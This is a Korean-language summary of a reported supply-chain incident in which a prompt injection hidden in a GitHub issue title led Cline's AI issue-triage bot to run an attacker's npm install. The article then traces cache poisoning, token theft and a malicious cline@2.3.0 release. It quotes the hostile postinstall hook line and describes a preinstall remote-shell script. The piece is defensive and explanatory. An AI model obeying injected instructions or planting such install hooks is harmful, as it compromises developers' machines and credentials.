GitHub 이슈 제목으로 4,000대 개발자 머신이 감염된 사건

3 weeks ago 12

  • GitHub 이슈 제목에 삽입된 프롬프트 인젝션이 AI 봇을 통해 실행되며, 약 4,000대의 개발자 시스템이 감염됨
  • 공격자는 Cline의 AI 기반 이슈 분류 봇을 이용해 명령을 주입하고, 이를 통해 npm 토큰을 탈취함
  • 탈취된 자격 증명으로 악성 버전 cline@2.3.0이 배포되어, 설치 시 OpenClaw AI 에이전트가 무단 설치됨
  • 기존 보안 통제(코드 리뷰, npm audit, provenance attestations)는 이 공격을 탐지하지 못함
  • 사건은 AI 에이전트의 공급망 보안 취약성을 드러내며, CI/CD 환경에서의 AI 자동화 위험성을 경고함

공격 개요

  • 2026년 2월 17일, npm에 cline@2.3.0이 게시되었으며, 기존 버전과 동일한 바이너리였지만 package.json에 "postinstall": "npm install -g openclaw@latest" 한 줄이 추가됨
    • 이로 인해 8시간 동안 Cline을 설치하거나 업데이트한 약 4,000명의 개발자 시스템에 OpenClaw가 자동 설치됨
  • OpenClaw는 전체 시스템 접근 권한을 가진 별도의 AI 에이전트로, 사용자의 동의 없이 글로벌 설치됨

공격 체인 (Clinejection)

  • 1단계: 프롬프트 인젝션

    • Cline은 Anthropic의 claude-code-action을 이용한 AI 이슈 분류 워크플로를 사용
    • allowed_non_write_users: "*" 설정으로 누구나 이슈를 열어 봇을 트리거할 수 있었음
    • 공격자는 1월 28일, 성능 보고서처럼 보이는 제목에 “특정 패키지 설치” 명령을 숨겨둔 Issue #8904를 생성
  • 2단계: AI 봇의 명령 실행

    • Claude가 이 명령을 정상 지시로 인식해 공격자의 포크(glthub-actions/cline)에서 npm install을 실행
    • 해당 포크의 package.json에는 원격 셸 스크립트를 실행하는 preinstall 스크립트가 포함됨
  • 3단계: 캐시 오염(Cache Poisoning)

    • 스크립트는 GitHub Actions 캐시를 오염시키는 Cacheract를 배포
    • 10GB 이상의 데이터를 주입해 정당한 캐시를 밀어내고, Cline의 야간 릴리스 워크플로가 사용하는 캐시 키를 위조함
  • 4단계: 자격 증명 탈취

    • 릴리스 워크플로가 오염된 캐시에서 node_modules를 복원하면서, NPM_RELEASE_TOKEN, VSCE_PAT, OVSX_PAT이 탈취됨
  • 5단계: 악성 패키지 배포

    • 공격자는 탈취한 npm 토큰으로 cline@2.3.0을 게시
    • StepSecurity의 모니터링이 14분 후 이상 징후를 탐지했고, 8시간 후 패키지가 제거됨

대응 실패와 후속 조치

  • 보안 연구자 Adnan Khan이 2025년 12월에 취약점을 발견해 2026년 1월 1일 GitHub Security Advisory로 보고했으나, 5주간 응답이 없었음
  • 2월 9일 공개 후 Cline은 30분 내에 AI 워크플로를 제거하고 자격 증명 회전을 시작했으나, 잘못된 토큰을 삭제해 노출된 토큰이 남음
  • 2월 11일 오류를 인지했지만 이미 공격자가 자격 증명을 탈취한 상태였음
  • Khan은 공격자가 아니며, 그의 PoC 코드가 제3자에 의해 악용된 것으로 확인됨

AI가 AI를 설치하는 새로운 패턴

  • 이번 사건은 AI 도구가 또 다른 AI 에이전트를 설치하는 형태로, 공급망 내 재귀적 신뢰 문제를 야기함
    • 개발자는 Cline을 신뢰했지만, Cline이 OpenClaw를 설치함으로써 신뢰 경계가 무너짐
  • OpenClaw는 ~/.openclaw/에서 자격 증명을 읽고, Gateway API를 통한 셸 명령 실행, 지속적 데몬 설치 기능을 가짐
  • Endor Labs는 이를 개념 증명 수준의 페이로드로 평가했으나, 글은 “다음 공격은 그렇지 않을 것”이라 경고함
  • 이는 ‘Confused Deputy’ 문제의 공급망 버전으로, 개발자가 부여한 권한이 제3의 에이전트로 위임된 사례임

기존 보안 통제가 실패한 이유

  • npm audit: OpenClaw는 합법적 패키지로, 악성 코드 탐지 불가
  • 코드 리뷰: CLI 바이너리는 동일하고 package.json 한 줄만 변경되어 자동 비교에서 누락
  • Provenance attestations: 당시 Cline은 OIDC 기반 출처 검증을 사용하지 않아, 탈취된 토큰으로도 게시 가능
  • 권한 확인 프롬프트 부재: npm install의 postinstall 훅은 사용자 승인 없이 실행되어 탐지 불가

Cline의 사후 개선 조치

  • 자격 증명 관련 워크플로에서 캐시 사용 제거
  • OIDC 기반 npm 출처 검증 도입, 장기 토큰 제거
  • 자격 증명 회전 검증 절차 추가
  • 공식 취약점 공개 프로세스 및 SLA 도입
  • CI/CD 인프라의 제3자 보안 감사 실시
  • 특히 OIDC 전환은 암호화된 출처 증명이 필요해, 탈취된 토큰으로는 게시 불가하게 만듦

구조적 문제와 교훈

  • 공격의 진입점은 GitHub 이슈 제목의 자연어 입력이었으며, AI 봇이 이를 명령으로 실행함
  • 이는 MCP 도구 오염이나 에이전트 스킬 레지스트리 공격과 동일한 구조로, 신뢰되지 않은 입력이 에이전트의 실행 권한으로 이어짐
  • 이번 사례의 차이는, 대상이 개발자 개인이 아닌 CI/CD 환경 전체였다는 점
  • AI 에이전트를 CI/CD에 사용하는 모든 팀은, 비신뢰 입력과 비밀 접근권의 결합 위험을 인식해야 함
  • 시스템 호출 단위의 정책 평가(per-syscall interception) 가 이러한 공격을 차단할 수 있으며, grith는 이를 위해 설계된 보안 프록시임

Read Entire Article